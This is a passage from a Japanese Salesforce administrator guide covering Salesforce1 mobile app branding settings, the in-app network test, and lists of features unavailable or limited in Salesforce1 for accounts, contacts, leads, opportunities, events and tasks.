Classic Mobile 専用であり、Salesforce1 アプリケーションの Visualforce ページには適用されません。

関連トピック:

Salesforce1 ナビゲーションメニューのカスタマイズ
高度なページレイアウトエディタでのモバイルカードの管理
Visualforce ページの表示と編集
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Salesforce1 モバイルアプリケーションでの組織のブランド設定

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 モバイルアプリケーションを会社のブランドの一定の側面に合わせて
カスタマイズし、モバイルユーザにアプリケーションが容易に認識されるよう
にすることができます。カスタムブランドは、すべての Salesforce1 アプリケー
ションに表示されます。

メモ: Salesforce1 アプリケーションをカスタマイズするためにアップロード
した画像は、Salesforce1 Branding Resources というドキュメントフォルダに保
存されます。このため、システム管理者がSalesforce1ブランド設定ページを
表示および変更するには、事前にドキュメントオブジェクトが組織で有効
になっている必要があります (ただし [ドキュメント] タブは表示されなくて
もかまいません)。
Salesforce1 モバイルブラウザアプリケーションのユーザにカスタムブランド
設定を表示するには、組織のドキュメントを有効にする必要があります。
Salesforce1 ダウンロード可能アプリケーションの場合、ユーザにはドキュメ
ントに対する「参照」ユーザ権限も必要です。

次をカスタマイズできます。

説明要素

ヘッダー、ボタン、検索バーなど、主要なユーザイン
ターフェース要素の色。
選択したブランドの色に基づいて、ナビゲーションメ
ニューの境界線、通知リスト、ボタンテキストなどの

ブランドの色

ユーザインターフェースに対比色が自動的に定義されま
す。
編集および作成ウィンドウや、アクションバーのアク
ションから開かれるウィンドウなど、フロート表示、
ポップアップ、およびダイアログのヘッダーは、この設
定による影響を受けません。これらのヘッダーは、ユー
ザが情報の表示のみではなく、アクションを実行してい
ることを視覚的に示すために、常に白になります。

モバイルユーザがログインした後に表示される読み込み
中ページの背景色。

読み込み中ページの
色

モバイルユーザがログインした後に表示される読み込み
中ページの画像。
最適な結果を得るには、許容される最大サイズの画像を
使用することをお勧めします。最大画像サイズは、460 x

560 ピクセルです。

読み込み中ページの
ロゴ

Salesforce1 アプリケーションのブランド設定をカスタマイズする場合は、次のヒントを参考にしてください。
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• ロゴ画像を作成するときは、必ず圧縮してください。多くの画像編集プログラムで、このプロセスは「圧
縮を使用」、「画像の最適化」、「Web 用に保存」、「Web 用に圧縮」などと呼ばれています。

• デスクトップモニタだけでなくユーザベースと同じデバイスを使用して、Salesforce1でロゴが正しく表示さ
れることを確認します。各デバイスの画面サイズとピクセル密度に応じて、画像は異なる縮尺率または縦
横比で表示される可能性があります。

• Salesforce1 では、カスタムブランド設定要素に .png、.gif、および .jpg 画像形式がサポートされていま
すが、最適な結果を得るためには .png を使用することをお勧めします。

• 次のインターフェース要素はカスタマイズできません。
– モバイルデバイスのホーム画面に表示される Salesforce1 アプリケーションアイコン。
– iOS 用の Salesforce1ダウンロード可能アプリケーション起動時の初期読み込み中画面。この読み込み中画

面は、ログインページでユーザに入力が要求される前に表示されます。
• カスタムブランド設定の変更を表示するには、アプリケーションを閉じてから再度ログインする必要があ

ります。
Salesforce1 アプリケーションのログインページのブランド設定をカスタマイズすることもできます。ログイン
ページを変更するには、[私のドメイン] を有効化する必要があります。会社の Salesforce1 ログインページをカ
スタマイズするには、「ブランドを使用したログインページのカスタマイズ」 (ページ 1166)を参照してくださ
い。

関連トピック:

Salesforce1 モバイルアプリケーションのブランド設定のカスタマイズ
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Salesforce1 モバイルアプリケーションのブランド設定のカスタマイズ

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1のブランド設定
を表示する
• 「設定・定義を参照す

る」

Salesforce1のブランド設定
を変更する
• 「アプリケーションの

カスタマイズ」

「すべてのデータの編
集」

Salesforce1モバイルアプリケーションの外観 (読み込み中ページの背景色、読み込
み中ページのロゴ、ヘッダーの背景色など) を変更して、アプリケーションを会
社のブランド設定に合わせることができます。

メモ: Salesforce1 アプリケーションをカスタマイズするためにアップロード
した画像は、Salesforce1 Branding Resources というドキュメントフォルダに保
存されます。このため、システム管理者がSalesforce1ブランド設定ページを
表示および変更するには、事前にドキュメントオブジェクトが組織で有効
になっている必要があります (ただし [ドキュメント] タブは表示されなくて
もかまいません)。
Salesforce1 モバイルブラウザアプリケーションのユーザにカスタムブランド
設定を表示するには、組織のドキュメントを有効にする必要があります。
Salesforce1 ダウンロード可能アプリケーションの場合、ユーザにはドキュメ
ントに対する「参照」ユーザ権限も必要です。

1. [設定] で、[クイック検索] ボックスに「ブランド」と入力し、[Salesforce1 の
ブランド設定] を選択して [編集] をクリックします。

2. ヘッダーなど、主要なユーザインターフェースのブランドの色をカスタマイ
ズするには、 をクリックするか、有効な 16 進数の色コードを入力しま
す。

3. 読み込み中ページの背景色をカスタマイズするには、 をクリックする
か、有効な 16 進数の色コードを入力します。

4. 読み込み中ページのロゴをカスタマイズするには、[ファイルを選択]をクリッ
クして画像をアップロードします。画像には、最大 200 KB の .jpg、.gif、また
は .png ファイルを使用できます。最大画像サイズは、460 × 560 ピクセルで
す。

5. [保存] をクリックします。

関連トピック:

Salesforce1 モバイルアプリケーションでの組織のブランド設定

Salesforce1 ダウンロード可能アプリケーションからの現在のネットワーク状態
のテスト

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

ユーザから、なぜSalesforce1モバイルアプリケーションが場所によって早かった
り遅かったりするのかと質問されたことはありませんか? 当然、ネットワークの
状態は Salesforce1のパフォーマンスに影響します。Salesforce1 for iOS ダウンロード
可能アプリケーションのバージョン 10.0.2 以降でユーザに問題が発生した場合
は、ユーザにネットワークのテストを依頼することで問題の原因からネットワー
クの状態を除外できます。
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ネットワークをテストするには、Salesforce1 ナビゲーションメニューを開き、[設定] > [私のネットワークをテ
スト] を選択します。そこから、ユーザは ping、ダウンロード速度、アップロード速度をテストできます。

調べられる内容テスト

アプリケーションがSalesforceに要求を送信し、返信を得るのに要する時間。一般的に、
ping 時間が長いより短い方が良好です。結果がまったく得られない場合は、ネットワー
クがインターネットに接続されていない可能性があります。
結果は、ミリ秒単位で表示されます。

Ping

アプリケーションが Salesforce からデータを取得するのに要する時間。一般的に、ダウ
ンロード速度が低いより高い方が良好です。
結果は、ビット毎秒単位で表示されます。

ダウンロード速度

アプリケーションが Salesforce にデータを送信するのに要する時間。一般的に、アップ
ロード速度が低いより高い方が良好です。
結果は、ビット毎秒単位で表示されます。

アップロード速度

テストで結果が返されなかった場合やエラーが表示された場合は、Salesforce1 に影響するネットワーク接続の
問題が発生している可能性があります。ユーザに、インターネット接続を確認してからテストをもう一度実行
するように依頼します。ユーザに引き続き問題が発生している場合は、別のネットワークへの接続を試すよう
に依頼します。

Salesforce1 モバイルアプリケーションで使用できない機能とその新機能
Salesforce1モバイルアプリケーションでは、組織で Lightning Experienceと Salesforce Classicのいずれを使用している
場合でも、Salesforceフルサイトの一部の機能が含まれません。ここでは、フルサイトで使用する場合と機能上
の差異があるか、Salesforce1 での動作が異なる、Salesforce1 では使用できない Salesforce 機能について説明しま
す。
• データアクセスおよび表示
• セールス機能
• 生産性機能
• カスタマーサービス機能
• レポートとダッシュボード
• Salesforce Files

• Chatter

• Salesforce Communities

• ナビゲーションとアクション
• Search

• データの入力
• 重複管理
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• 承認
• オフラインアクセス
• Salesforce のカスタマイズ

データアクセスと表示: Salesforce1 で使用できない機能とその新機能

サポートされるオブジェクトとデータ
次のオブジェクトは、Salesforce1 ナビゲーションメニューの項目として使用できます。別途記載がない限り、
これらのオブジェクトのレコードを作成、表示、編集できます。
• 取引先
• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• コンテンツライブラリ (iOS ダウンロード可能アプリケーションのみ)

• 契約
• D&B 企業 (Data.com Prospector および Data.com Clean 顧客の場合は参照のみ)

• ダッシュボード (参照のみ)

• 行動
• ファイル
• Field Service Lightning (稼働時間、サービス予約、サービス人員、サービステリトリー、作業種別) (モバイルブ

ラウザアプリケーションのみ)

• 売上予測 (iOS ダウンロード可能アプリケーションのみ)

• ナレッジ記事 (参照のみ)

• リード
• Live Chat のトランスクリプト
• 商談
• 注文
• 見積 (商談からの作成のみ)

• レポート (参照のみ)

• ソーシャル人格およびソーシャル投稿
• ToDo

• Work.com コーチング、目標、感謝、報奨、およびスキル (iOS ダウンロード可能アプリケーションではスキ
ルを使用できません)

• 作業指示
• アクセスできるタブを含むカスタムオブジェクト
• アクセスできるタブを含み、検索可能な Salesforce Connect 外部オブジェクト
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メモ: Salesforce1 で使用できるようにするには、アクセスできるタブがオブジェクトに含まれている必要
があります。これは、サポートされる標準オブジェクトと組織のカスタムオブジェクトおよび外部オブ
ジェクトについても当てはまります。
Salesforce1 ではユーザオブジェクトはサポートされず、ユーザのレコード詳細ページにもアクセスできま
せん。ただし、ユーザ項目はサポートされ、ユーザプロファイル、関連リストなどに表示されます。
Salesforce1 でのユーザ項目に関する問題については、「項目」を参照してください。

Salesforce1 では次の機能はサポートされていません。
• 標準またはカスタムSalesforceアプリケーション。代わりに、ユーザはナビゲーションメニューを使用して、

モバイルアプリケーションで使用できるすべてのオブジェクトにアクセスできます。
• Salesforce コンソールまたはエージェントコンソール
• 高度な通貨管理

項目
サポート対象外の項目

• ディビジョン項目
• テリトリー管理項目

コンボボックス
• コンボボックス (選択リストとテキスト項目の組み合わせ) は使用できません。通常、テキスト項目は使

用できますが、選択リストは使用できません。
参照項目

• システム管理者定義の連動ルックアップ検索条件項目はサポートされません。
• ユーザ定義のルックアップ検索条件項目はサポートされません。
• Lightning Experience のように参照項目からレコードを作成することはできません。
• Salesforce Classic の参照項目には、共有権限に関係なくレコード名が表示されるため、ユーザがアクセス

できないレコードの名前が表示されることがあります。Lightning Experience と Salesforce1 モバイルアプリ
ケーションでは参照項目が共有権限に従うため、ユーザがアクセスできるレコード名のみ表示されま
す。ただし所有者参照項目は例外で、共有権限に関係なくレコードの所有者名が常に表示されます。

選択リスト項目
• 制御と連動選択リストはサポートされますが、Salesforce1 ではこれらの項目の作成と編集のページにイ

ンジケータは表示されません。選択リスト項目が連動関係にあるかどうか、どの選択リスト項目がそれ
を制御しているかを判定するには、フルサイトに切り替えてください。

• 無効化された選択リストは、フルサイトのようにグレー表示されません。
電話番号項目

• 電話番号項目に表示されるキーパッドには括弧、ハイフン、またはピリオドは含まれていません。ま
た、Salesforce1 では、レコードの保存時に電話番号形式が適用されません。特定の電話番号形式を適用
するには、フルサイトでレコードを編集します。

リッチテキストエリア項目
リッチテキストエリア項目のサポートは、Salesforce1 のバージョンやデバイス種別によって異なります。
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リッチテキストエリア項
目の編集

リッチテキストエリア項
目の表示

Salesforce1 バージョンデバイス

○
リッチテキストエディタ
は使用できません。ただ

○ダウンロード可能アプリ
ケーション
モバイルブラウザアプリ
ケーション

Android

し、HTML タグを手動で追
加できます。

×○ダウンロード可能アプリ
ケーション

iOS

○
リッチテキストエディタ
を使用できます。

○モバイルブラウザアプリ
ケーション

iOS

××モバイルブラウザアプリ
ケーション

Windows

ユーザの項目
• ユーザの詳細ページはSalesforce1モバイルアプリケーションでは使用できませんが、ユーザ項目はサポー

トされ、ユーザプロファイル、関連リストなどに表示されます。
• これらのユーザ項目が関連リストまたはモバイルカードに表示される場合、いくつか問題があります。

– 内部ユーザが別の内部ユーザに関連付けられたモバイルカードまたは関連リストエントリを参照し
た場合、[会社名] 項目は空白になります。参照されるユーザが外部ユーザの場合、会社名は正しく
表示されます。

– ユーザが有効な場合、[有効] 項目は空白になります。

リストビュー
• Salesforce1 では、新しいリストビューを作成できますが、既存のリストビューは編集できません。
• リストビューのレコードの項目は編集できません。代わりに、ユーザはレコードを開いて [編集] アクショ

ンをタップできます。
• Salesforce1 では、リストビューのレコードを複数選択できません。
• 同時に複数のレコードにアクションを適用可能な一括アクションは使用できません。

レコードビューとレコードの [特長]

• Lightning アプリケーションビルダーを使用して行われたレコードの [特長] のカスタマイズ (項目やアクショ
ンを非表示にしたり、[特長] 領域が横方向ではなく縦方向に表示されるようにしたりするカスタマイズ)

は、Salesforce1 には適用されません。
• レコード詳細ページのセクションを折りたたむことはできません。
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関連リスト
• Salesforce1 の関連リストには、オブジェクトのページレイアウトの [関連リスト] セクションで定義された最

初の 4 つの項目が表示されます。表示される項目数を増やすことはできません。
• 次を含む一部の関連リストはモバイルアプリケーションでは使用できません。

– コンテンツ配信
– 外部共有
– 関連コンテンツ
また、特定のオブジェクトで使用できない関連リストについては、「Salesforce1 でのセールス機能」、
「Salesforce1 での生産性機能」、および「Salesforce1 でのカスタマーサービス機能」を参照してください。

• [メモと添付ファイル] 関連リストは、Salesforce1 では完全にはサポートされていません。次のようないくつ
かの問題があります。
– Salesforce フルサイトで追加された添付ファイルは、関連リストに表示されていても Salesforce1 で開ける

とは限りません。代わりに Files を使用することをお勧めします。フルサイトの [ファイル] タブにアップ
ロードされたドキュメントは、Salesforce1 で参照できます。

– 関連リストのメモまたは添付ファイルを追加したり削除したりすることはできません (ただし、Salesforce1

アクションバーの [メモ] ( ) アクションを使用して、メモを作成してからレコードに関連付けること
ができます。システム管理者が Salesforce1 でメモをどのように設定しているかによっては、一部のオブ
ジェクトでこのアクションを使用できないことがあります)。

– 子レコードのメモおよび添付ファイルは、親のレコードの関連リストには表示されません。
• 関連リストをテキストエリア項目で並び替えた場合、レコードは表示されません。

セールス機能: Salesforce1 で使用できない機能とその新機能

取引先
• 自動化された取引先項目は使用できないため、新しい取引先を作成するときに [取引先名]項目に候補の企

業が表示されません。
• ソーシャル取引先:

– Salesforce1 では、Facebook、Klout、YouTube のソーシャル取引先機能にアクセスできません。
– 取引先がソーシャルネットワークプロファイルにリンクされている場合、ソーシャルネットワークにロ

グインしていなくても、取引先に選択されているプロファイルの画像が、Salesforce1 でその取引先を表
示しているときに表示される可能性があります。これらのネットワークに現在ログインしていなくても
プロファイル画像が Facebook または Twitter から表示されます。Salesforce1では他のプロファイル画像に切
り替えることはできません。

– Salesforce1 ダウンロード可能アプリケーションを使用している場合、関連付けられた Twitter ユーザのツ
イート、リツイート、返信、お気に入りを表示できます。Salesforce1 モバイルブラウザアプリケーショ
ンでは、Twitter で直接 Twitter プロフィールをタップしてツイートなどを表示します。また、Salesforce1モ
バイルブラウザアプリケーションでは、Twitter ユーザをフォローしているユーザや、Twitter ユーザがフォ
ローしているユーザも表示できません。
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– Salesforce1 では、自分や自分の取引先が Twitter で共有している共通のコネクションがリストされます。
Salesforce フルサイトでは、共通のコネクションを表示することはできません。

– Salesforce1で取引先の Twitter カードを表示するには、Twitter をページレイアウトに追加する必要がありま
す。Salesforce フルサイトにアクセスして、ページレイアウトを編集します。組織で個人取引先を使用し
ている場合は、法人取引先レイアウトと個人取引先レイアウトで別々にカードを追加する必要がありま
す。

• [外部取引先の管理] ボタンは使用できません。
• 取引先階層を表示することはできません。
• 取引先はマージできません。
• パートナー、メモ、および添付ファイルを表示できますが、編集することはできません。
• 取引先ホームのレポートおよびツールは使用できません。
• [取引先責任者の役割] 関連リストのレコードは参照のみです。[取引先責任者の役割] 関連リストの [役割] 項

目は使用できません。
• [取引先履歴] 関連リストは使用できません。
• Data.com Clean を使用して取引先レコードをクリーンアップすることはできません。
• 関連リストまたはレコード詳細ページの取引先責任者項目 (活動の [名前] 項目など) から個人取引先に移動

すると、個人取引先レイアウトではなく取引先責任者ページレイアウトが表示されます。そのため、すべ
ての項目、関連リスト、アクションが期待どおりに表示されないことがあります。個人取引先レイアウト
に移動するには、取引先名をタップします。

• 取引先責任者リストビューまたは取引先責任者関連リストから個人取引先を編集または削除することはで
きません。個人取引先レコードに移動して編集または削除してください。

取引先チーム
• 取引先チームメンバーを一度に 1 人のみ追加、編集、削除できます。
• 取引先の所有者が変更されても、取引先チームは維持されます。
• [アクセス権の表示] ボタンは使用できません。

キャンペーン
• [メンバーの管理] ボタンおよび [高度な設定] ボタンは使用できません。
• キャンペーン階層は、関連リストとしてのみ使用できます。キャンペーン詳細ページのリンクから[階層の

表示] へのオプションは使用できません。親キャンペーンを表示するとき、[キャンペーン階層] 関連リスト
には子キャンペーンのみが表示されます。一方、フルサイトには親と子の両方のキャンペーンが表示され
ます。

• [キャンペーンメンバー] 関連リストを表示する場合、メンバーの状況のみが表示されます。ただし、メン
バーをタップすれば、その詳細情報を表示できます。

取引先責任者
• 取引先責任者-to-複数取引先:
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[関連取引先] および [関連取引先責任者] 関連リストで、[取引先と取引先責任者のリレーション] オブジェ
クトに固有のリスト項目のアクションのみを使用できます。そのため、Salesforce Classic のように取引先

–

責任者レコードや取引先レコードを編集、削除するアクションが表示されるのではなく、取引先責任者
と取引先のリレーションを表示または削除するアクションが表示されます。

– [関連取引先責任者] 関連リストから、取引先責任者レコードには移動できますが、取引先レコードには
移動できません。

– [関連取引先責任者] 関連リストから個人取引先に移動すると、個人取引先レイアウトではなく取引先責
任者ページレイアウトが表示されます。そのため、すべての項目、関連リスト、アクションが期待どお
りに表示されないことがあります。個人取引先レイアウトに移動するには、取引先名をタップします。

• ソーシャル取引先責任者:

– Salesforce1 では、Facebook、Klout、YouTube のソーシャル取引先責任者機能にアクセスできません。
– 取引先責任者がソーシャルネットワークプロファイルにリンクされている場合、ソーシャルネットワー

クにログインしていなくても、取引先責任者に選択されているプロファイルの画像が、Salesforce1 でそ
の取引先責任者を表示しているときに表示される可能性があります。これらのネットワークに現在ログ
インしていなくてもプロファイル画像が Facebook または Twitter から表示されます。Salesforce1では他のプ
ロファイル画像に切り替えることはできません。

– Salesforce1 ダウンロード可能アプリケーションを使用している場合、関連付けられた Twitter ユーザのツ
イート、リツイート、返信、お気に入りを表示できます。Salesforce1 モバイルブラウザアプリケーショ
ンでは、Twitter で直接 Twitter プロフィールをタップしてツイートなどを表示します。また、Salesforce1モ
バイルブラウザアプリケーションでは、Twitter ユーザをフォローしているユーザや、Twitter ユーザがフォ
ローしているユーザも表示できません。

– Salesforce1 では、自分や自分の取引先責任者が Twitter で共有している共通のコネクションがリストされ
ます。Salesforce フルサイトでは、共通のコネクションを表示することはできません。

– Salesforce1で取引先責任者の Twitter カードを表示するには、Twitter を取引先責任者のページレイアウトに
追加する必要があります。Salesforce フルサイトにアクセスして、ページレイアウトを編集します。

• アイコンを使用して Salesforce1アプリケーションからメールを送信する場合は活動ログは作成されませ
ん。

• [登録情報照会]、[外部ユーザの管理]、および [カスタマーユーザを有効化] ボタンは使用できません。
• 商談または取引先ユーザを取引先責任者に追加したり、取引先責任者をキャンペーンに追加したりするこ

とはできません。
• 取引先責任者はマージできません。
• Data.comから取引先責任者を追加したり、Data.com Cleanを使用して取引先責任者をクリーンアップすること

はできません。

契約
• [無効化] ボタンは使用できません。
• 次の契約の関連リストは使用できません。

– 契約履歴
– 未承認申請
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• 契約での取引先責任者の役割は作成できません。
• Salesforce1 で取引先責任者から新しい ToDo や行動の作成または活動の記録を行う場合、[関連先] 項目には

契約番号が事前に入力されません。
• 取引先責任者の [注文] 関連リストから注文を作成する場合、[契約番号] 項目にはデフォルトの契約番号が

事前に入力されません。

Data.com およびデータインテグレーション
• Data.com Clean:

– クリーンアップジョブで更新された項目を参照できますが、レコードを手動でクリーンアップするオプ
ションは使用できません。

• Data.com Prospector:

– Salesforce1 では、Data.com Prospector はサポートされていません。
取引先、取引先責任者、リードは検索または追加できません。プロスペクティングインサイトや会社階
層は表示されません。

• データインテグレーション:

– データインテグレーションルールで更新された項目を参照できますが、データインテグレーションを使
用してレコードを手動で更新することはできません。

Einstein

• Salesforce1でリードスコアがリードリストビューに表示されることを除き、モバイルアプリケーションでは
他のすべての Sales Cloud Einstein 機能を使用できません。

売上予測
• 売上予測アプリケーションは、Salesforce1 for iOS ダウンロード可能アプリケーションのバージョン 11.0 以降

で使用できます。
• 売上予測アプリケーションにはコラボレーション売上予測が必要です。このアプリケーションはカスタマ

イザブル売上予測を使用する組織では使用できません。
• Salesforce1 の売上予測データは参照のみです。
• 商談 - 収益売上予測のみを使用できます。次の売上予測種別はサポートされていません。

– 商談 - 数量
– 商品ファミリ - 収益
– 商品ファミリ - 数量
– 商談分割 - 収益
– オーバーレイ分割 - 収益
– カスタム商談通貨項目 - 収益
– 期待収益 - 収益

• ユーザは売上予測の通貨を変更できません。
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• 目標情報の表示や非表示はサポートされていません。

リード
• ソーシャルリード:

– Salesforce1 では、Facebook、Klout、YouTube のソーシャルリード機能にアクセスできません。
– リードがソーシャルネットワークプロファイルにリンクされている場合、ソーシャルネットワークにロ

グインしていなくても、リードに選択されているプロファイルの画像が、Salesforce1 でそのリードを表
示しているときに表示される可能性があります。これらのネットワークに現在ログインしていなくても
プロファイル画像が Facebook または Twitter から表示されます。Salesforce1では他のプロファイル画像に切
り替えることはできません。

– Salesforce1 ダウンロード可能アプリケーションを使用している場合、関連付けられた Twitter ユーザのツ
イート、リツイート、返信、お気に入りを表示できます。Salesforce1 モバイルブラウザアプリケーショ
ンでは、Twitter で直接 Twitter プロフィールをタップしてツイートなどを表示します。また、Salesforce1モ
バイルブラウザアプリケーションでは、Twitter ユーザをフォローしているユーザや、Twitter ユーザがフォ
ローしているユーザも表示できません。

– Salesforce1 では、自分や自分のリードが Twitter で共有している共通のコネクションがリストされます。
Salesforce フルサイトでは、共通のコネクションを表示することはできません。

– Salesforce1でリードの Twitter カードを表示するには、Twitter をリードのページレイアウトに追加する必要
があります。Salesforce フルサイトにアクセスして、ページレイアウトを編集します。

• リードの取引開始:

– 取引先を選択できますが、作成することはできません。
– 商談を作成できますが、既存の商談を選択することはできません。
– 重複レコードのリードソースを選択できません。リードソースはデフォルトで重複する取引先責任者に

設定されます。
– 変換中に関連タスクを作成することはできませんが、取引先責任者レコードから ToDo を作成すること

はできます。
– 取引を開始したリードについて所有者に自動的に通知することはできません。

• [重複の検索] ボタンおよび [レコードのロック解除] ボタンは使用できません。
• リードはマージできません。
• [リード履歴] 関連リストは使用できません。
• 新しいリードを追加する場合は、[キャンペーン] 項目および [有効な割り当てルールによりリードを割り当

てる] チェックボックスを使用することはできません。Salesforce フルサイトでは次の項目に値を追加でき
ます。

ニュース
• スマートフォンで実行されている Salesforce1 からニュースにアクセスしたときに表示されるニュース項目

は、一度に 1 つのみです。
• タブレットで実行されている Salesforce1 からニュースにアクセスすると、使用可能なニュース項目をスク

ロールできません。デバイスの画面サイズによって、表示されるニュース項目の数が決まります。
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• 他のレコードに移動すると、その他のニュース項目が使用可能になる場合があります。それらのニュース
項目は、ニュースアプリケーションに表示されるまでの所要時間が長くなります。

• 取引先レコードには、1 人の人に関連するニュース項目のリストが表示される役員のニュースカードは含ま
れていません。役員に関連する各ニュース項目は個別のニュースカードに表示されます。

商談
• [競合] ボタンは使用できません。
• [商談の分割] 金額項目、[商品] 小計項目、および [フェーズの履歴] 接続項目は使用できません。
• [取引先責任者の役割] 関連リストのレコードは参照のみです。

[取引先責任者の役割] 関連リストの [役割] 項目は使用できません。
• [キャンペーンの影響] および [類似商談] 関連リストは使用できません。
• これらの関連リストは使用できます。ただし、これらのリストではレコードプレビューカードのみが表示

されますが、リストレコードをタップして開くことはできません。
– 競合
– 商談分割
– フェーズの履歴

• 商談所有者は [売上予測分類]項目を編集できません。[売上予測分類]には、レコードを保存するときに、
[フェーズ商談] 項目の値に基づいて自動的に入力されます。商談所有者は、Salesforce Classic で、[売上予測
分類] の値を手動で編集できます (Lightning Experience ではできません)。

• 価格表を価格表のない商談に関連付けることはできますが、Salesforce フルサイトに戻って関連付けを変更
する必要があります。

• 商談に表示される商品であっても、商品の詳細は表示できません。
• 数量または収益スケジュールを設定した商品を商談に追加できますが、商品スケジュールの編集はSalesforce

Classic でのみできます。

商談チーム
• 商談チームメンバーを一度に 1 人のみ追加、編集、削除できます。
• 商談の所有者が変更されても、商談チームは維持されます。
• [コピー] ボタンおよび [アクセス権の表示] ボタンは使用できません。

注文
• [作成] ボタンおよび [注文を削減] ボタンは使用できません。
• [注文履歴] および [注文商品履歴] 関連リストは使用できません。
• Salesforce1 で注文から新しい ToDo や行動の作成または活動の記録を行う場合、[関連先] 項目には注文番号

が事前に入力されません。
• 取引先責任者の [注文] 関連リストから注文を作成する場合、[契約番号] 項目にはデフォルトの契約番号が

事前に入力されません。
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見積
• 見積 PDF は関連リストに表示されますが、参照できません。
• 複数の見積品目を同時に追加または編集することはできません。
• 次のアクションは実行できません。

– 見積をメールで送信する。
– PDF を作成または削除する。
– 同期を開始または中止する。
– [見積] ホームページから見積を作成する。商談から見積を作成します。

生産性機能: Salesforce1 で使用できない機能とその新機能

Salesforce Today

Salesforce Today は、Android 端末や iPhone および iPad デバイス向けの Salesforce1 ダウンロード可能アプリケーショ
ンで使用できます。これは、Salesforce1 モバイルブラウザアプリケーションや Salesforce フルサイトでは使用で
きません。
Today を使用する場合、いくつか問題があります。
• モバイルデバイスの選択したカレンダーからローカルの行動を表示できますが、Salesforce の行動はこのリ

リースの Today では使用できません。
• 一部またはすべてのカレンダーサーバによってデータが自動的にデバイスに転送されない場合、カレンダー

を更新して Today に最新情報を表示する必要があります。
• 24 時間形式はサポートされていません。
• 複数日の行動を表示すると、終了日時のみが [特長] 領域に表示されます。
• 定期的な複数日の行動の場合、間違った日時が表示される場合があります。
• リストが長すぎるためカレンダーに招待者の名前が表示されない場合、Todayではメインビューの現在の行

動カードおよび予定カードに「招待者 1 人」というカウントが表示され、行動を開いても招待者は表示さ
れません。

• iCloud API はメールアドレスを返さないため、Today は iCloud 行動のミーティング主催者に対して一致する
Salesforce レコードを検出できません。

• Today では、モバイルデバイスのタイムゾーン設定が使用されますが、Salesforce の行動では、ユーザの
Salesforceのタイムゾーン設定が使用されます。ユーザがTodayからローカルの行動を記録するときにこれら
の設定が異なると、新しい Salesforce の行動レコードの Time 項目は、ユーザの Salesforce のタイムゾーンを
反映するため、ローカルの行動の時間と一致しなくなります。

• Android デバイスでは、ミーティング主催者の一致する Salesforce レコードがない場合、その主催者の名前が
正しく表示されないことがあります。

• Android デバイスの Today でレコードを表示しているときに別のユーザがモバイルカレンダーの行動レコー
ドを更新した場合でも、その変更は自動的に表示されません。レコードは、次にTodayメインビューから選
択したときに更新されます。

• Android OS によるローカルの行動の識別方法が原因で、ユーザが Android デバイスで Today にアクセスして
ローカルの行動を Salesforceに記録し、別の Android デバイスまたは iOS デバイスの Todayで同じ行動を表示す
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ると、行動が記録されていないように見え、Todayから対応するSalesforceの行動にアクセスできない場合が
あります。ただし、元の Android デバイスでは、記録された行動の状況およびリンクは正常になっていま
す。

• Chatter Free および Chatter External ユーザライセンスには取引先責任者または個人取引先へのアクセス権がな
いため、それらのユーザは Today にアクセスできません。

活動 (行動と ToDo)

• Lightning Experience の活動タイムラインは使用できません。
• [件名] 項目に、すでに定義されている件名の選択リストは含まれません。
• 活動はアーカイブできません。
• Shared Activities を使用して複数の取引先責任者を行動または ToDo に関連付けることはできません。
• 活動アラームは使用できません。
• 活動が [名前]項目のみを使用して、個人取引先に関連付けられている場合、その活動は個人取引先レコー

ドに表示されません。

行動とカレンダー
• フルカレンダーを表示できません。フルサイトでは可能です。また、標準またはカスタムオブジェクトか

らカレンダーを作成することもできません。
• 招待された行動を受諾または却下することはできません。
• 行動は Microsoft® Outlook® に追加できません。
• 招待者を行動に追加したり、招待者を行動から削除したりできません。
• 定期的な行動は使用できません。
• [招待者] 関連リストでは、コンテンツの表示方法が少し異なります。Salesforce1 では、[招待者] 関連リスト

には招待者のみが含まれていますが、フルサイトでは行動の所有者も含まれます。Salesforce1のフルサイト
の機能を複製するには、次の API クエリを使用します (「EventRelation」を参照)。

• 行動には、モバイルデバイスのタイムゾーン設定ではなく、Salesforce のタイムゾーンとロケール設定が反
映されます。

• [行動] ホームページの日付バーは、デバイスや Salesforce ロケール設定に関係なく、常に日曜日で始まり土
曜日で終わります。

• 午後 11 時 59 分から午前 0 時に時間が進む間に行動リストを表示しても、リストは翌日の日付と時刻に自動
では更新されません。

ToDo

• Salesforce1 で使用できるリストは、[私の ToDo]、[過去 7 日以内に完了]、[代理]、[今日] のみです。[期限切
れ]、[今月]、[すべての未完了] など、その他の ToDo リストは Salesforce1 では使用できません。

• ToDo リストでは、優先度の選択リストでの項目の順序によって、並び替えられる ToDo の順序が決まりま
す。

• ToDo が多いほど、また、ToDo が持つ他のレコードへのリレーションが多いほど、Salesforce1アプリケーショ
ンで ToDo を表示したり、その他の機能を使用したりするのにより時間がかかる可能性があります。

1261

Salesforce1 をユーザの手にSalesforce 組織の設定および管理

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.api.meta/api/sforce_api_objects_eventattendee.htm


• 1,000件を超える期限切れの ToDo が存在する場合は、Salesforce1 の ToDo リストに期限切れの ToDo が一切表示
されません。レポートを使用して期限切れの ToDo を表示して閉じるか、ToDo を延期するか、期日を削除し
ます。

• グループ (マルチユーザ) ToDo は使用できません。
• クイックアクションレイアウトでは [定期的なToDoを作成] 項目はサポートされていません。新規 ToDo ク

イックアクションには定期的な ToDo インターフェースの一部のみが表示され、ユーザは作成を試みた定期
的な ToDo を保存できません。

• Salesforce1 では、頻度が「平日」の定期的な ToDo を作成できません。編集ページには ToDo の繰り返し設定
が表示されないため、Salesforce1 でこの頻度の ToDo を編集することはお勧めしません。平日繰り返される
ToDo を作成または編集するには、Salesforce Classic を使用してください。

• ToDo に件名が含まれていない場合、Salesforce1 のフィードには [件名なし] と表示されます。
• ToDo レイアウトには、ToDo の操作をより簡単にする独自の要素がいくつかあります。これらの要素はユー

